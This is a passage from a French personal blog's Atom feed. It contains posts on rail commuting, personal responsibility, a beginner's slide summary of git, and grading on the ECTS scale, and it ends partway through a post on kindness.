&lt;p&gt;Je suis assis dans le train, la température est bien comme il faut. Je ne suis pas trop secoué et je peux utiliser mon ordinateur portable pour rédiger ce billet. La banquette est confortable, j&amp;rsquo;hésite à fermer les yeux et dormir un peu. Mes voisins lisent, dorment… ou parlent.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est « convivial » même s&amp;rsquo;ils sont tous étrangers pour moi et que je ne les saluerai pas !&lt;/p&gt;
&lt;p&gt;Mon – parce que bien sûr, c&amp;rsquo;est le mien – train aura un peu de retard à cause d&amp;rsquo;un aléas pendant le trajet mais j&amp;rsquo;aurais pu souffrir le même genre de soucis si j&amp;rsquo;avais pris ma voiture.&lt;/p&gt;
&lt;p&gt;Le Moyen Âge est bien loin…&lt;/p&gt;
&lt;p&gt;Et pourtant je ne peux pas venir travailler uniquement en train. Je dois prendre ma voiture &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; pour venir à la gare &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; et la laisser sur le parking &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; à proximité. Ma – j&amp;rsquo;ai déjà dit que c&amp;rsquo;est également la mienne – gare accueille de plus en plus de navetteurs chaque jour, elle est de mieux en mieux desservie. C&amp;rsquo;est bien.&lt;/p&gt;
&lt;p&gt;À contrario, les gares qualifiées de « petites » ne verront plus le train s&amp;rsquo;arrêter. La société de transports en commun rationalise l&amp;rsquo;offre et de petites gares disparaissent.&lt;/p&gt;
&lt;p&gt;Le bus quant-à lui passe devant chez moi à 6h et à 8h. C&amp;rsquo;est tout. Dans l&amp;rsquo;autre sens, c&amp;rsquo;est à 16h et à 18h. L&amp;rsquo;usager a plutôt intérêt à avoir le même timing.&lt;/p&gt;
&lt;p&gt;Jadis, le train s&amp;rsquo;arrêtait dans toutes les gares et les bus desservaient tous les villages. Les trajets étaient plus longs.&lt;/p&gt;
&lt;p&gt;Moyen Âge. Temps Modernes. Futur.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Beam me up ! Scotty&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/ &gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://deviantart.com"&gt;DevianArt&lt;/a&gt; par &lt;a href="http://jipic.deviantart.com/art/Train-In-The-Woods-1-374599017"&gt;jipic&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Cela fait quelques fois maintenant que je prend volontiers mon vélo pour faire la route jusqu&amp;rsquo;à la gare. 6km. 30min. C&amp;rsquo;est jouable mais il faut du déo !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;J’entends des citadins (à raison sans doute) commencer à râler sur ceux « qui vivent à la campagne » et qui les obligent à respirer les particules fines qu&amp;rsquo;ils génèrent.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;J&amp;rsquo;ai la chance de prendre le train dans une ville où les parkings sont gratuits. Pourvu que ça dure…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>J'ai pas fait exprès !</title><link href="http://blog.namok.be/2014-02-11-pas-fait-expres.html" rel="alternate"/><published>2014-02-11T00:00:00+01:00</published><updated>2014-02-11T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-02-11:/2014-02-11-pas-fait-expres.html</id><summary type="html">J'ai pas fait exprès !</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/vintage_bus_irm_0102_7_21_13_by_eyepilot13-d6f6y3t.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;— J&amp;rsquo;ai pas fait exprès !&lt;/p&gt;
&lt;p&gt;Colas, mon petit frère vient de renverser sa tasse de chocolat. Ce n&amp;rsquo;est pas la première fois qu&amp;rsquo;il renverse mais papa ne le gronde pas, il lui dit simplement qu&amp;rsquo;il faut aller chercher la lavette et frotter.&lt;br&gt;
C&amp;rsquo;est « l&amp;rsquo;apprentissage de l&amp;rsquo;autonomie » dit papa. &lt;/p&gt;
&lt;p&gt;À la maison, on sait qu&amp;rsquo;il faut réparer ses bêtises. Ce n&amp;rsquo;est pas grave de renverser, tu apprends. L&amp;rsquo;important c&amp;rsquo;est que tu essaies de grandir et de bien faire. &lt;/p&gt;
&lt;p&gt;— J&amp;rsquo;ai pas fait exprès !&lt;/p&gt;
&lt;p&gt;Le smartphone avait à peine une semaine et il est tombé de la poche d&amp;rsquo;Aglaé. Ses mains étaient si froides qu&amp;rsquo;elle n&amp;rsquo;a pas pris le temps de fermer la fermeture éclair de son manteau…&lt;br&gt;
Aglaé a beau dire qu&amp;rsquo;elle ne l&amp;rsquo;a pas fait exprès, on sait tous qu&amp;rsquo;elle a manqué de prévoyance en ne fermant pas son manteau.  &lt;/p&gt;
&lt;p&gt;Évidemment qu&amp;rsquo;elle ne l&amp;rsquo;a pas fait exprès… mais c&amp;rsquo;est cassé quand même ! Elle devra attendre avant d&amp;rsquo;avoir un nouveau smartphone. &lt;/p&gt;
&lt;p&gt;— J&amp;rsquo;ai pas fait exprès !&lt;/p&gt;
&lt;p&gt;Nicolas que l&amp;rsquo;on savait fort comme un taureau était énervé et saoul lorsqu&amp;rsquo;il a rejoint son copain. Un chauffeur de bus et lui étaient en pleine discussion et ça commençait à chauffer. L&amp;rsquo;alcool aidant, ils en sont venus aux mains.&lt;br&gt;
Nicolas a écrasé son poing dans le visage du chauffeur.&lt;br&gt;
Le chauffeur est mort.  &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est rare que l&amp;rsquo;on meure d&amp;rsquo;un coup de poing.&lt;br&gt;
Nicolas regrette d&amp;rsquo;avoir frappé. On sait tous qu&amp;rsquo;il faut se contrôler, que l&amp;rsquo;on évite d&amp;rsquo;en venir aux mains.&lt;br&gt;
Le chauffeur est mort pour toujours.  &lt;/p&gt;
&lt;p&gt;Comment va-t-il assumer la responsabilité de son acte ?  &lt;/p&gt;
&lt;p&gt;Nicolas ne peux pas aller chercher une lavette pour effacer.&lt;br&gt;
Il ne peut pas économiser pour acheter un nouveau… un nouveau quoi ? &lt;br&gt;
Il ne peut pas réparer …  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Quelques lignes inspirées par l&amp;rsquo;actualité.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>git en deux mots</title><link href="http://blog.namok.be/2014-01-31-5slides-git.html" rel="alternate"/><published>2014-01-31T00:00:00+01:00</published><updated>2014-01-31T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-01-31:/2014-01-31-5slides-git.html</id><summary type="html">Dans la série in 5 slides, présentation de git.</summary><content type="html">&lt;p&gt;Dans la série « souvent il est nécessaire de présenter un outil, un
concept, le résultat d&amp;rsquo;une recherche brièvement » : aujourd&amp;rsquo;hui,
je fais quelques slides pour présenter &lt;strong&gt;git&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="swissarmyknife-boboob.jpg" src="/images/swissarmyknife-boboob.jpg" title="swissarmyknife-boboob.jpg, janv. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Comme il était difficile pour moi de faire ça en une seule fois, il y
aura &lt;strong&gt;deux fois&lt;/strong&gt; 5 slides ;-)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;git&lt;/em&gt; fait partie de la liste des &lt;em&gt;vcs&lt;/em&gt;, les logiciels permettant la
gestion des différentes versions d&amp;rsquo;un « texte ». Les plus connus sont;
&lt;em&gt;git&lt;/em&gt; et &lt;em&gt;svn&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ces deux séries de slides se basent sur &lt;a href="http://www-cs-students.stanford.edu/~blynn/gitmagic"&gt;gitmagic de B Lynn&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;git in 5 slides&lt;/h2&gt;
&lt;p&gt;&lt;img alt="in5slides-git-mozaic.png" src="/images/in5slides-git-mozaic.png" title="in5slides-git-mozaic.png, janv. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Qu&amp;rsquo;est-ce que &lt;em&gt;git&lt;/em&gt; ?&lt;br&gt;
Quelle est son utilité et pourquoi, c&amp;rsquo;est bien de l&amp;rsquo;utiliser ?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gestion de ses versions et&lt;/li&gt;
&lt;li&gt;&lt;em&gt;git&lt;/em&gt; est décentralisé. À l&amp;rsquo;inverse de &lt;em&gt;svn&lt;/em&gt;, chaque dépôt contient
    l&amp;rsquo;archive complète du projet.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Slide 3&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;Utilisation basique de &lt;em&gt;git&lt;/em&gt;. Cette utilisation simple permet de:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;créer un dépôt;&lt;/li&gt;
&lt;li&gt;d&amp;rsquo;y ajouter ses fichiers et;&lt;/li&gt;
&lt;li&gt;de faire son premier &lt;strong&gt;commit&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;occasion de dire que la bonne pratique n&amp;rsquo;est pas d&amp;rsquo;utiliser
la commande&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;commit&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Petit commentaire&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;mais d&amp;rsquo;utiliser la commande &lt;code&gt;git commit&lt;/code&gt; qui ouvrira l&amp;rsquo;éditeur par
défaut et permettra d&amp;rsquo;entrer un commentaire complet. C&amp;rsquo;est-à-dire
compréhensible par le lecteur et certainement plus long.&lt;/p&gt;
&lt;p&gt;La recommandation étant d&amp;rsquo;avoir un titre suivi d&amp;rsquo;un texte
représentatif du commit. Le titre n’excèdera pas 50 caractères tandis
que le texte tronquera ses lignes à 72 caractères. C&amp;rsquo;est la &lt;a href="https://wiki.openstack.org/wiki/GitCommitMessages"&gt;règle des 50 / 72&lt;/a&gt; pour les
messages de commit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Chaque &lt;em&gt;commit&lt;/em&gt; est représenté par une &lt;a href="https://fr.wikipedia.org/wiki/SHA-1"&gt;empreinte SHA1&lt;/a&gt; de 160 bits.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;commit af0d57b52307675be81b20f2754a4036c77fa794
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;c&amp;rsquo;est sur base de cette empreinte que l&amp;rsquo;on pourra revenir à une
situation précédente.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 5/6&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Jusque là, c&amp;rsquo;est bien !&lt;br&gt;
Un usage d&amp;rsquo;un &lt;em&gt;vcs&lt;/em&gt; est de pouvoir travailler ensemble sur un même
projet. Je dois donc pouvoir mettre mes sources à disposition des autres
ou bien accéder au dépôt de mon collaborateur.&lt;/p&gt;
&lt;p&gt;La communication entre machines peut se faire par &lt;code&gt;ssh&lt;/code&gt; ou bien en
faisant tourner un &lt;em&gt;dæmon git&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;La commande permettant de récupérer le contenu d&amp;rsquo;une archive est
&lt;strong&gt;pull&lt;/strong&gt; dès lors que j&amp;rsquo;ai préalablement &lt;em&gt;cloné&lt;/em&gt; (pris une copie
locale) le dépôt.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide7&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;Oui mais on aime quand même bien centraliser le dépôt histoire que l&amp;rsquo;on
puisse y avoir accès « tout le temps » ou d&amp;rsquo;avoir un dépôt de référence
ou d&amp;rsquo;offrir une visibilité au projet ou…&lt;/p&gt;
&lt;p&gt;Il existe &lt;a href="http://github.com"&gt;github&lt;/a&gt; qui fait ce boulot (et d&amp;rsquo;autres,
&lt;a href="http://gitorious.org"&gt;gitorious&lt;/a&gt;, &lt;a href="http://repo.or.cz"&gt;repo&lt;/a&gt;).&lt;br&gt;
&lt;a href="http://github.com"&gt;github&lt;/a&gt; est un site web centralisant le dépôt git
et offrant des outils tels que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une page web générée à partir du fichier README.md;&lt;/li&gt;
&lt;li&gt;un système d&amp;rsquo;&lt;em&gt;issues&lt;/em&gt; permettant de reporter les bugs;&lt;/li&gt;
&lt;li&gt;un wiki par projet;&lt;/li&gt;
&lt;li&gt;etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;bref de quoi donner de la visibilité à un projet et permettre la
collaboration autour de celui-ci.&lt;/p&gt;
&lt;h2&gt;git in 5 slides (advanced)&lt;/h2&gt;
&lt;p&gt;&lt;img alt="in5slides-git-advanced-mozaic.png" src="/images/in5slides-git-advanced-mozaic.png" title="in5slides-git-advanced-mozaic.png, janv. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Pour aller un peu plus loin dans l&amp;rsquo;utilisation de git.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lorsque l&amp;rsquo;on développe un projet, plusieurs versions évoluent en
parallèle. Parce que l&amp;rsquo;on décide de travailler sur des fonctionnalités
différentes ou simplement parce que l&amp;rsquo;on travaille un peu par essais /
erreurs.&lt;/p&gt;
&lt;p&gt;Le projet se décompose en plusieurs &lt;strong&gt;branches&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 3/4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Exemple (issu de &lt;a href="http://www-cs-students.stanford.edu/~blynn/gitmagic"&gt;gitmagic&lt;/a&gt;) de
création de deux branches et illustration du passage d&amp;rsquo;une branche à
l&amp;rsquo;autre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 5&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Il arrive un moment où les développements parallèles doivent être
fusionnés (&lt;strong&gt;merge&lt;/strong&gt;) et ce, sans perte et sans erreur.&lt;/p&gt;
&lt;p&gt;Un « &lt;strong&gt;merge&lt;/strong&gt; » permet de fusionner deux branches. &lt;em&gt;git&lt;/em&gt; fusionne
automatiquement les deux branches et prévient si il découvre un conflit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 7&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Présentation d&amp;rsquo;un &lt;em&gt;worflow&lt;/em&gt; traditionnel. Ce &lt;em&gt;worflow&lt;/em&gt; utilise les
branches pour permettre de travailler et d&amp;rsquo;avancer sans soucis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 8&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La présentation se termine par des commandes &lt;code&gt;amend&lt;/code&gt; et &lt;code&gt;blame&lt;/code&gt; qui
permettent, respectivement, de modifier un commit et de voir qui a fait
les dernières modifications.&lt;/p&gt;
&lt;p&gt;Merci à &lt;a href="http://www-cs-students.stanford.edu/~blynn/gitmagic"&gt;gitmagic&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Faites en bon usage.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://www-cs-students.stanford.edu/~blynn/gitmagic"&gt;Gitmagic&lt;/a&gt; par
    Ben Lynn&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://wiki.openstack.org/wiki/GitCommitMessages"&gt;Git commit message best practice&lt;/a&gt; 50 / 72
    rules&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les sites « git »: &lt;a href="http://github.com"&gt;Github&lt;/a&gt;, &lt;a href="http://gitorious.org"&gt;Gitorious&lt;/a&gt; et &lt;a href="http://repo.or.cz"&gt;repo.or.cz&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Qu&amp;rsquo;est-ce qu&amp;rsquo;une empreinte SHA1 ? chez &lt;a href="https://fr.wikipedia.org/wiki/SHA-1"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Crédit photo chez Flickr par &lt;a href="http://www.flickr.com/photos/bob007/"&gt;Bob007&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ces slides chez &lt;a href="http://fr.slideshare.net/PierreBETTENS"&gt;Slideshare&lt;/a&gt;;
    &lt;a href="http://fr.slideshare.net/PierreBETTENS/in5slides-git"&gt;git&lt;/a&gt; et &lt;a href="http://fr.slideshare.net/PierreBETTENS/git-advanced-in-5-slides"&gt;git
    (advanced)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le pdf &lt;a href="/pdf/in5slides-git.pdf" title="in5slides-git.pdf (483.97 KB)"&gt;in5slides-git.pdf&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Le pdf &lt;a href="/pdf/in5slides-git-advanced.pdf" title="in5slides-git-advanced.pdf (2.68 MB)"&gt;in5slides-git-advanced.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>A B C D … E F</title><link href="http://blog.namok.be/2014-01-20-abcdef.html" rel="alternate"/><published>2014-01-20T00:00:00+01:00</published><updated>2014-01-20T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-01-20:/2014-01-20-abcdef.html</id><summary type="html">De la difficulté d'évaluer. Pas corriger, évaluer.</summary><content type="html">&lt;p&gt;Jadis j&amp;rsquo;étais prof de math.&lt;/p&gt;
&lt;p&gt;Justifier une cote (ou simplement trouver la cote la plus juste) était facile. Un exercice étant soit faux soit correct, il suffit de sommer ! &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est mathématique.&lt;br&gt;
C&amp;rsquo;est juste.&lt;br&gt;
Ce n&amp;rsquo;est donc pas humain.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="œuf rose" src="/images/pink_egg___by_bas7a-crop.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Un 9/20 ne devient jamais un 10/20 puisque maitre addition a parlé. &lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;école primaire, c&amp;rsquo;est pareil, les résultats représentent la somme de petits exercices mis bout à bout. Il est donc naturel d&amp;rsquo;obtenir un 20/20 dès lors que tous les exercices sont corrects. &lt;/p&gt;
&lt;p&gt;Évaluer la présentation orale d&amp;rsquo;un concept est beaucoup moins aisé. &lt;/p&gt;
&lt;p&gt;S&amp;rsquo;il est clair que l&amp;rsquo;on s&amp;rsquo;attend à voir apparaitre plusieurs « points » (au sens &lt;em&gt;item&lt;/em&gt;) dans l&amp;rsquo;exposé, l&amp;rsquo;évaluateur s&amp;rsquo;intéresse également à la manière dont ils sont développés et au degré de compréhension qu&amp;rsquo;il perçoit.  &lt;/p&gt;
&lt;p&gt;L&amp;rsquo;évaluation n&amp;rsquo;est plus une somme de réponses correctes. Elle devient une appréciation d&amp;rsquo;une prestation (orale ou écrite). En ce sens, elle est moins juste. La cote chiffrée, somme mathématique, évolue vers une véritable évaluation d&amp;rsquo;une prestation.&lt;/p&gt;
&lt;p&gt;Quelles sont les questions que l&amp;rsquo;on se pose ? &lt;/p&gt;
&lt;p&gt;Outre la vérification (mentale) d&amp;rsquo;une &lt;em&gt;check list&lt;/em&gt; contenant les divers éléments de réponses, je compare la prestation de l&amp;rsquo;étudiant à une &lt;a href="(http://namok.be/blog/?post/2013/08/22/ce-sont-les-profs-qui-s-y-collent)"&gt;prestation idéale que j&amp;rsquo;imagine&lt;/a&gt;. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Il n&amp;rsquo;a pas parlé de &lt;em&gt;A&lt;/em&gt; alors que c&amp;rsquo;est important.&lt;/li&gt;
&lt;li&gt;Sa présentation de &lt;em&gt;B&lt;/em&gt; est inhabituelle mais me donne l&amp;rsquo;impression d&amp;rsquo;une bonne compréhension. &lt;/li&gt;
&lt;li&gt;Il affirme &lt;em&gt;C&lt;/em&gt;, campe sur ses positions, alors que c&amp;rsquo;est faux.&lt;/li&gt;
&lt;li&gt;Il n&amp;rsquo;a pas beaucoup détaillé &lt;em&gt;D&lt;/em&gt; mais ça semble très clair pour lui. Une question directement plus pointue achèvera de m&amp;rsquo;en convaincre (ou pas).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sur cette base, je me ramène aux grades académiques; échec, suffisant, satisfaction, distinction, grande distinction, la plus grande distinction. J&amp;rsquo;essaie de savoir si l&amp;rsquo;étudiant a fait un examen suffisant ou satisfaisant, s&amp;rsquo;il s&amp;rsquo;est distingué… voire s&amp;rsquo;il faut que je me lève et que j&amp;rsquo;aille le féliciter ;-) … et ce n&amp;rsquo;est pas facile d&amp;rsquo;estimer s&amp;rsquo;il s&amp;rsquo;est distingué par rapport aux autres. &lt;/p&gt;
&lt;p&gt;Pour attribuer cette damnée cote de la manière la plus juste, je me base également sur les conséquences de cette cote. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Si je donne &amp;gt;12, la cote fera monter la moyenne de l&amp;rsquo;étudiant. &lt;/li&gt;
&lt;li&gt;Si je donne une cote comprise entre 10 et 12, c&amp;rsquo;est une réussite. Mais elle n&amp;rsquo;aidera pas l&amp;rsquo;étudiant a atteindre sa moyenne de 12. &lt;/li&gt;
&lt;li&gt;Si c&amp;rsquo;est un échec, je dois distinguer une cote d&amp;rsquo;exclusion d&amp;rsquo;une « balance »&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pas simple …&lt;br&gt;
Puis survint le &lt;a href="(http://namok.be/blog/?post/2013/10/01/reussite-10)"&gt;décret paysage&lt;/a&gt; et sa &lt;a href="(http://namok.be/blog/?post/2013/11/13/decret-paysage-2)"&gt;réussite à 10&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;— Ma manière d&amp;rsquo;évaluer doit-elle évoluer ?&lt;/p&gt;
&lt;p&gt;En allant faire un tour vers l&amp;rsquo;échelle de notation des ECTS, je &lt;a href="(http.//fr.wikipedia.com/wiki/Échelle_de_notation_ECTS)"&gt;trouve une grille&lt;/a&gt; dont l’interprétation me parait intéressante. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A&lt;/strong&gt; Résultat remarquable avec quelques insuffisances mineures&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;B&lt;/strong&gt; Résultat supérieur à la moyenne, malgré un certain nombre d&amp;rsquo;insuffisances&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C&lt;/strong&gt; Généralement bon, malgré un certain nombre d&amp;rsquo;insuffisances notables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;D&lt;/strong&gt; Travail honnête mais comportant des lacunes importantes&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;E&lt;/strong&gt; Les résultats satisfont aux critères minimaux  &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;FX&lt;/strong&gt; Un travail supplémentaire est nécessaire pour l&amp;rsquo;octroi d&amp;rsquo;un crédit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;F&lt;/strong&gt; Un travail supplémentaire &lt;strong&gt;considérable&lt;/strong&gt; est nécessaire&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je laisse de côté tout l&amp;rsquo;aspect statistique et la notion de classement des étudiants pour me focaliser sur la signification des « lettres ». &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;aime.&lt;br&gt;
C&amp;rsquo;est compréhensible et sensé.&lt;br&gt;
Excepté la distinction entre &lt;strong&gt;D&lt;/strong&gt; et &lt;strong&gt;E&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Sur base des objectifs de mon cours, je peux très bien comprendre ce qu&amp;rsquo;est un travail que j&amp;rsquo;estime honnête et pour lequel j&amp;rsquo;autorise des lacunes importantes. &lt;/p&gt;
&lt;p&gt;Un &lt;strong&gt;moins bon travail&lt;/strong&gt; susceptible d&amp;rsquo;obtenir un 10/20 contient donc plus de lacunes (importantes) qu&amp;rsquo;un travail méritant un &lt;strong&gt;D&lt;/strong&gt;. Et un tel travail est un travail qui satisfait aux critères minimaux. &lt;/p&gt;
&lt;p&gt;Ceci m&amp;rsquo;amène deux questions:&lt;/p&gt;
&lt;p&gt;— Comment dois-je établir mes critères minimaux ?&lt;br&gt;
— Quel sens dois-je donner au terme « lacunes importantes » ? &lt;/p&gt;
&lt;p&gt;Après cette lecture, il appert qu&amp;rsquo;une réussite à 10/20 doit être octroyée à un étudiant satisfaisant aux critères minimaux et une réussite à 12/20 à un étudiant ayant fourni un travail honnête mais comportant des lacunes importantes. &lt;/p&gt;
&lt;p&gt;Dans mes acquis d&amp;rsquo;apprentissage, il s&amp;rsquo;agira de définir correctement quels sont les critères minimaux par rapport aux objectifs afin de &lt;em&gt;sortir des étudiants performants&lt;/em&gt; (que le monde entier nous envie ;-) )&lt;/p&gt;
&lt;h4&gt;Liens / crédits&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="(http.//fr.wikipedia.com/wiki/Échelle_de_notation_ECTS)"&gt;L&amp;rsquo;échelle de notation ECTS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="(http://namok.be/blog/?post/2013/08/22/ce-sont-les-profs-qui-s-y-collent)"&gt;Article «Ce sont les profs qui s&amp;rsquo;y collent»&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="(http://namok.be/blog/?post/2013/10/01/reussite-10)"&gt;Article «La réussite à 10»&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="(http://namok.be/blog/?post/2013/11/13/decret-paysage-2)"&gt;Article «Le décret paysage, deuxième»&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br/&gt;
&lt;em&gt;Crédit photo chez &lt;a href="(http://deviantart.com)"&gt;DeviantArt&lt;/a&gt; par &lt;a href="(http://bas7a.deviantart.com/art/pink-egg-40414870)"&gt;bas7a&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Bienveillance</title><link href="http://blog.namok.be/2014-01-08-bienveillance.html" rel="alternate"/><published>2014-01-08T00:00:00+01:00</published><updated>2014-01-08T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-01-08:/2014-01-08-bienveillance.html</id><summary type="html">Si l'on n'est pas malveillant, est-on bienveillant ?</summary><content type="html">&lt;p&gt;La plupart des gens dans mon entourage ne sont pas malveillants. Mais est-on pour autant bienveillants ?&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="images/I__m_in_the_mood_for_a_cherry__by_Ronaaa-crop.png" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La bienveillance, ce n&amp;rsquo;est pas simplement de la non-malveillance.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bien avant de tuer, voler, frapper… être malveillant, c&amp;rsquo;est d&amp;rsquo;abord, ne pas respecter l&amp;rsquo;autre, c&amp;rsquo;est essayer de le rabaisser, lui parler méchamment, dénigrer son travail…&lt;/p&gt;
&lt;p&gt;Être bienveillant ce n&amp;rsquo;est pas simplement, respecter l&amp;rsquo;autre, ne pas le rabaisser, lui parler gentiment, ne pas dénigrer son travail…&lt;/p&gt;
&lt;p&gt;La bienveillance est une vertu, c&amp;rsquo;est l&amp;rsquo;affection (voire l&amp;rsquo;amour) que je porte aux autres. Elle se caractérise par l&amp;rsquo;empathie et l&amp;rsquo;expression franche de mes sentiments.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Exprimer franchement et correctement mes sentiments permettra à l&amp;rsquo;autre d&amp;rsquo;exprimer les siens et de comprendre les miens. Il pourra y réagir en connaissance de cause. C&amp;rsquo;est moins d&amp;rsquo;hypocrisie ou de non-dits.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L&amp;rsquo;empathie, c&amp;rsquo;est sortir de mon égoïsme et montrer à l&amp;rsquo;autre qu&amp;rsquo;il a un intérêt pour moi. C&amp;rsquo;est lui donner de la valeur, de la confiance, de l&amp;rsquo;estime de lui.&lt;/p&gt;
&lt;/li&gt;
